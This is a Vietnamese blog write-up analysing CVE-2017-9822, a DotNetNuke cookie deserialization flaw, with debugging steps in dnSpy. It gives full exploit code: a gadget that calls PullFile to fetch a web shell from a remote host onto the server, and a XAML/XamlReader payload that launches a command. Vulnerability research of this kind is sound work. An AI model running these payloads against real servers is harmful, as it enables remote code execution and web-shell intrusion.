.NET Insecure Deserialization & CVE-2017-9822

.NET Insecure Deserialization & CVE-2017-9822

Sau một khoảng thời gian tự tìm hiểu về các lỗ hổng trên ứng dụng web được xây dựng bằng ngôn ngữ java, bỗng dưng mình lại nổi hứng muốn chuyển làn gió sang .NET. Thú thật thì bản thân mình cảm thấy việc setup môi trường để phân tích cũng như khai thác ứng dụng web trên Linux khá dễ dàng hơn so với Windows, có thể là trong giai đoạn đầu khi mới tiếp xúc, mình vẫn còn bị choáng với đống khái niệm về permissions, IIS, ... 😵 nhưng một thời gian sau chắc sẽ ổn thôi nhỉ 😳. "Mở bài" vậy đủ rồi, ở bài viết mình sẽ đi vào phân tích CVE-2017-9822 mà chủ yếu là dựa trên các bài phân tích đã có, đồng thời cũng hi vọng có thể làm rõ hơn một vài điểm.

Tổng quan

DotNetNuke là một hệ thống quản lý nội dung (CMS) mã nguồn mở viết bằng ngôn ngữ lập trình VB.NET trên nền tảng ASP.NET. Tuy nhiên, các nhà phát triển đã bắt đầu chuyển DotNetNuke core trên nền C#. Đây là một hệ thống mở, tùy biến dựa trên skin và module. DotNetNuke có thể được sử dụng để tạo các trang web cộng đồng một cách dễ dàng và nhanh chóng.

Đối với các phiên bản kể trừ trước 9.1.1 của DotNetNuke bị lỗ hổng bảo mật có thể dẫn đến thực thi mã từ xa thông qua việc thay đổi giá trị trong cookie.

Setup environment

Mình sử dụng máy ảo window 10 để thực hiện setup cũng như debug, version sử dụng cho bài phân tích là 9.1.0. Có thể follow theo bài viết này để build môi trường, kết quả:

Phân tích

Từ một bài report trên Hackerone, ta tóm gọn lại được một vài ý như sau

  • Cần trigger 404 error status.

  • Cookie DNNPersonalization sẽ là nơi chứa payload để trigger deserialization.

Mở source của DNN và search với keyword là "DNNPersonalization", chỉ có một vị trí mà nó xuất hiện đó là tại hàm LoadProfilePersonalizationController.cs. Biến profile nhận giá trị của cookie DNNPersonalization đồng thời được đưa vào làm input cho Globals.DeserializeHashTableXml()

Tiếp tục trace, ta thấy gọi đến XmlUtils.DeserializeHashTable() với Source là giá trị của cookie và tham số thứ hai là "profile"

Trong hàm DeserializeHashTable() sẽ thực hiện load xml từ xmlSource (chính là giá trị cookie DNNPersonalization ban đầu) và sau đó dùng xpath syntax để select element item trong root profile . Thực hiện lấy ra attribute value tương ứng với attribute name là keytype, khởi tạo XmlSerializer với type vừa lấy và ngay tại dòng 208 chính là sink XmlSerializer.Deserialize().

Vậy là mình đã đi sơ lược về flow từ source đến sink của lỗ hổng, tiếp theo sẽ là phần setup để debug bởi vì nó sẽ khá quan trọng cho việc sửa lỗi cũng như build payload hoàn chỉnh.

Setup Debug

Dựa theo các tips trên hacktricks để tiến hành debug, ta sẽ focus vào file DotNetNull.dll, bởi vì file này bao gồm các đoạn code bị lỗi đã nói ở trên.

Nhưng trước tiên, sẽ cần chỉnh lại thuộc tính của assembly về các thuộc tính "có thể debug", điều này là rất cần thiết bởi vì trong runtime, một số tối ưu hóa sẽ được áp dụng và vô tình gây cản trở chúng ta trong việc debug, vài breakpoint có thể không được hit hoặc vài biến sẽ không tồn tại.

Load DotNetNuke.dll vào dnSpy (32 bit) sau đó chọn Edit Assembly Attributes (C#)

Ta thay đổi dòng số 13 từ

[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]

thành

[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

Sau đó chọn Compile và Save module này vào lại vị trí cũ.

Tiếp theo, khởi chạy dnSpy với quyền admin và chọn Debug -> Attach to Process

Chọn process w3wp.exe

Lí do ta phải attach process này để bug là bởi vì các ứng dụng web trên IIS thường sử dụng thứ được gọi là worker process. Chúng có nhiệm vụ xử lí các web requests gửi đến IIS web server cho mỗi application pool, các worker process có thể có nhiều trên một máy và đều có chung tên gọi là w3wp.exe. Một lưu ý nhỏ đó là sẽ có lúc không có process w3wp nào đang chạy, IIS sẽ không start các worker process cho đến khi nhận được web request đầu tiên.

Quay trở lại với việc debug, sau khi attach process tiếp theo chọn: Debug -> Windows -> Modules

Click vào một module và chọn Open All Modules

Lúc này ở cửa sổ Assembly ta đã có thể thấy được tất cả các module liên quan

Dựa theo luồng hoạt động đã phân tích ở trên, tiến hành tìm đến hàm LoadProfile trong PersonalizationController.cs để đặt breakpoint

Dùng burp để send request trigger 404 status + cookie DNNPersonalization

Chương trình sẽ dừng ngay tại breakpoint đã set và call stack như sau

Ở đây có thể thấy hàm gọi để xử lí 404 là Handler404OrException đã trigger một chall chain và gọi đến Personalization.LoadProfile(int,int)

Tiếp tục F11 để Step Over, ta thấy biến text nhận giá trị từ cookie value và sau đó là đưa vào làm input cho Globals.DeserializeHashTableXml()

Nếu tiếp tục debug thì flow vẫn sẽ như đã static analysis, vì thể mình sẽ skip.

Điểm đáng quan tâm kế tiếp đó là tìm gadget cho XmlSerializer.Deserialize()

Tìm gadget

Mình tạo một solution với Rider IDE và sử dụng xmlserializer để serialize instance của class People sau đó lưu dữ liệu vào xmlser.bin , cụ thể như hình bên dưới

Tiếp theo thực hiện đọc dữ liệu từ xmlser.bin và deserialize (có chỉnh lại class People)

Từ kết quả trên có thể rút ra kết luận rằng xml serializer sẽ call đến setter method khi deserialize.

ObjectDataProvider

ObjectDataProvider cho phép wrap object và sử dụng như một binding resource.

Trong bộ ysoserial.NET có sẵn một gadget cho setter call, đó là ObjectDataProvider, trên hacktricks đã nói kĩ về nó rồi nên mình sẽ không phân tích lại.

Quay trở lại với phần build gadget, trước hết ta cần add reference đến assembly PresentationFramework.dll

Minh họa bằng việc trigger calculator khi gọi đến các setter method của ObjectDataProvider:

Nhưng nếu ta liên kết gadget này với xmlserializer thì sẽ xảy ra lỗi

Unhandled Exception: System.InvalidOperationException: There was an error generating the XML document. ---> System.InvalidOperationException: The type System.Diagnostics.Process was not expected. Use the Xm
lInclude or SoapInclude attribute to specify types that are not known statically.

Lí do là bởi vì ban đầu,chỉ mỗi Type của ObjectDataProvider được đưa vào constructor của XmlSerializer vì thế trong quá trình serialization XmlSerializer sẽ không thể biết được type của objectDataProvider.ObjectInstance (trường hợp này là System.Diagnostics.Process)

Thật ra có thể sử dụng một loại constructor khác của XmlSerializer như hình dưới

tuy nhiên nếu làm như vậy thì sẽ không hợp lí đối với ngữ cảnh hiện tại bởi vì nó chỉ sử dụng constructor một tham số

Tới đây có một giải pháp đó là sử dụng ExpandedWrapper class và lợi dụng nó để chỉ định Type cho objectDataProvider.ObjectInstance.

Vậy chỉnh gadget lại thành

ExpandedWrapper<Process, ObjectDataProvider> expandedWrapper =
                new ExpandedWrapper<Process, ObjectDataProvider>();

expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new Process();
expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc.exe");
expandedWrapper.ProjectedProperty0.MethodName = "Start";

Nhưng ... vẫn bị lỗi, calculator ở đây được popup là nhờ vào setter method được gọi trước đó tuy nhiên lỗi này xảy ra là do quá trình serialization

Unhandled Exception: System.InvalidOperationException: There was an error reflecting type 'System.Diagnostics.Process'. ---> System.InvalidOperationException: Cannot serialize member 'System.ComponentModel.
Component.Site' of type 'System.ComponentModel.ISite', see inner exception for more details. ---> System.NotSupportedException: Cannot serialize member System.ComponentModel.Component.Site of type System.Co
mponentModel.ISite because it is an interface.

Dive vào source, ta thấy System.Diagnostics.Process kế thừa từ System.ComponentModel.Component

trong System.ComponentModel.Component lại chứa một field là site và bản chất của nó là interface và vì thế nên không thể được serialize.

Vậy để khắc phục điều này, ta đành phải tìm các class khác có thể serialize được và khi deserialize sẽ tạo ra impact đối với ứng dụng (RCE, ...)

Trong POC, hàm PullFile của DotNetNuke.Common.Utilities.FileSystemUtils được sử dụng để khai thác "arbitrary file upload"

Add reference DotNetNuke.dll cho việc viết script exploit

Chỉnh lại Program.cs

using System;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Windows.Data;
using System.Data.Services.Internal;
using System.Windows.Markup;
using System.Xml.Serialization;
using DotNetNuke.Common.Utilities;

namespace CVE_2017_9822
{
    public class Program
    {
        public static void Main(string[] args)
        {
             ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper =
                 new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
             expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
             expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
             expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
             expandedWrapper.ProjectedProperty0.MethodParameters.Add("http://192.168.169.1:8000/shell.aspx");
             expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Users\\todin\\Downloads\\DNN_Platform_9.1.0.367\\shell.aspx");

             String folder = "D:\\RiderProjects\\CVE-2017-9822\\CVE-2017-9822\\";
             XmlUtils.Serialize(folder, expandedWrapper);
        }
    }
}

XmlUtils.cs chứa đoạn code modify lại từ source của DNN

using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;

namespace CVE_2017_9822
{
    public class XmlUtils
    {
        public static void Serialize(String folder, Object obj)
        {
            string result;
            XmlDocument xmlDocument = new XmlDocument();
            XmlElement xmlElement = xmlDocument.CreateElement("profile");
            xmlDocument.AppendChild(xmlElement);

            XmlElement xmlElement2 = xmlDocument.CreateElement("item");
            xmlElement2.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
            XmlDocument xmlDocument2 = new XmlDocument();
            XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
            StringWriter stringWriter = new StringWriter();
            xmlSerializer.Serialize(stringWriter, obj);
            xmlDocument2.LoadXml(stringWriter.ToString());
            xmlElement2.AppendChild(xmlDocument.ImportNode(xmlDocument2.DocumentElement, true));
            xmlElement.AppendChild(xmlElement2);
            result = xmlDocument.OuterXml;
            File.WriteAllText(folder + "ser.xml", result);
        }

        public static void DeSerialize(string xmlSource)
        {
            if (!string.IsNullOrEmpty(xmlSource))
            {
                try
                {
                    XmlDocument xmlDocument = new XmlDocument();
                    xmlDocument.LoadXml(xmlSource);
                    foreach (object obj in xmlDocument.SelectNodes("profile/item"))
                    {
                        XmlElement xmlElement = (XmlElement)obj;
                        string attribute = xmlElement.GetAttribute("key");
                        string attribute2 = xmlElement.GetAttribute("type");
                        XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
                        XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
                        //hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
                        // custom
                        Object obj = xmlSerializer.Deserialize(xmlReader);
                    }
                }
                catch (Exception)
                {
                }
            }
        }
    }
}

Send payload

Kết quả

Ok, it works!!! Nhưng giả sử web server không có outgoing connection hoặc là đối với một product khác (không phải DNN) mặc dù bị lỗi xml deseri nhưng không có hàm PullFile thì cách trên sẽ không hoạt động, vì vậy cái ta hướng tới vẫn là tìm các gadget có sẵn trong các file assemlby của hệ thống, cũng tương tự như với java, người ta thường sẽ ưu tiên tìm trong jdk.

ResourceDictionary

XAML thường được sử dụng để định nghĩa các thành phần UI cũng như resources cho ứng dụng và ResourceDictionary element có thể được tận dụng cho việc này.

Payload sau đây sử dụng ResourceDictionary để execute command

<ResourceDictionary 
                  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
                    xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" 
                    xmlns:b="clr-namespace:System;assembly=mscorlib" 
                    xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
    <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
        <ObjectDataProvider.MethodParameters>
            <b:String>cmd</b:String>
            <b:String>/c calc</b:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>
  • xmlns:b và xmlns:c tham chiếu đến namespace System và System.Diagnostics trong các assembly tương ứng đồng thời gán bí danh là b và c.

  • d:Key="" là rỗng. Trong XAML syntax, giá trị của Key nên được định nghĩa.

  • ObjectType đại diện cho thuộc tính ObjectType của ObjectDataProvider

  • d:Type là một XAML-defined markup extension và chức năng tương tự như typeof().

  • MethodName là thuộc tính của ObjectDataProvider, đưa vào giá trị Start tương ứng với việc gọi method Start().

  • c:Process tương tự như System.Diagnostics.Process

  • <ObjectDataProvider.MethodParameters> là property element syntax

XamlReader

Như tên gọi, XamlReader được dùng để đọc XAML và ta chỉ cần quan tâm đến method Parse() của nó đồng thời XamlReader có thể được serialize và deserialize bởi XmlSerializer.

Xâu chuỗi các phần ở trên lại với nhau để tạo thành chain hoàn chỉnh, ban đầu từ

ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")

thành

ObjectDataProvider -> XamlReader.Parse() -> ObjectDataProvider -> System.Diagnostics.Process.Start("cmd.exe","/c calc")

Payload:

<profile>
    <item type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
        <ExpandedWrapperOfXamlReaderObjectDataProvider
            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
            <ExpandedElement/>
            <ProjectedProperty0>
                <MethodName>Parse</MethodName>
                <MethodParameters>
                    <anyType
                        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                        xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                        <![CDATA[<ResourceDictionary
                        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
                        xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
                        xmlns:b="clr-namespace:System;assembly=mscorlib"
                        xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                    </anyType>
                </MethodParameters>
                <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
            </ProjectedProperty0>
        </ExpandedWrapperOfXamlReaderObjectDataProvider>
    </item>
</profile>

-> Calculator pop up thành công

Tuy nhiên khi thử trên server thì mình gặp một vấn đề như sau: vì nơi đặt payload là cookie và trong cookie header, dấu ; được xem là delimiter giữa các cookie. Do đó mình đã thực hiện urlencode với mục đích là khiến cho cookie DNNPersonalization nhận đủ giá trị của nó

Ấn Send và sau đó ... chẳng có gì xảy ra cả 🥺

Debug với dnSpy, mình nhận ra nguyên nhân là vì httpContext.Request.Cookies["DNNPersonalization"].Value trả về y đúc giá trị mà nó nhận được từ cookie value mà không hề thực hiện urldecode 😥.

Mình có thử thêm một vài cách khác như xml encode ... nhưng không khả quan mấy, thực sự thì lúc viết bài viết này mình vẫn chưa tìm ra cách để chain này hoạt động nên sẽ tạm gác lại đó và update sau (nếu tìm ra 😶)

Trong bộ ysoserial.net có dùng một gadget khác mà cụ thể là TypeConfuseDelegate ứng với formatter ObjectStateFormatter, cụ thể về gadget này tham khảo tại đây.

Ngoài lề

  • Lợi dụng hàm WriteFile của DotNetNuke.Common.Utilities.FileSystemUtils để đọc file

  • Chặn self-rce khi sử dụng ObjectDataProvider.

Trong quá trình sử dụng gadget ObjectDataProvider để viết script exploit, ta sẽ vô tình trigger payload và tự rce chính mình. Khi tham khảo qua đoạn code trong ysoserial, mình thấy họ tận dụng thuộc tính IsInitialLoadEnabled để ngăn việc này.

Setter method dựa vào hai điều kiện trong if để quyết định có gọi base.Refresh() hay không

và việc set IsInitialLoadEnabled thành false sẽ khiến cho return value của base.IsRefreshDeferred là true -> không call tới base.Refresh()

Lời kết

Mình dành khoảng thời gian rảnh trong 1 tuần để setup cũng như debug cve này nhưng thú thật thì vẫn còn một vài chỗ nho nhỏ vẫn chưa hoàn toàn "tiêu hóa" được 😵, sau bài post này chắc mình sẽ "lặn" một thời gian để tiếp tục tìm target và phân tích 😙.

Hẹn mọi người ở các bài viết sau ~~

to^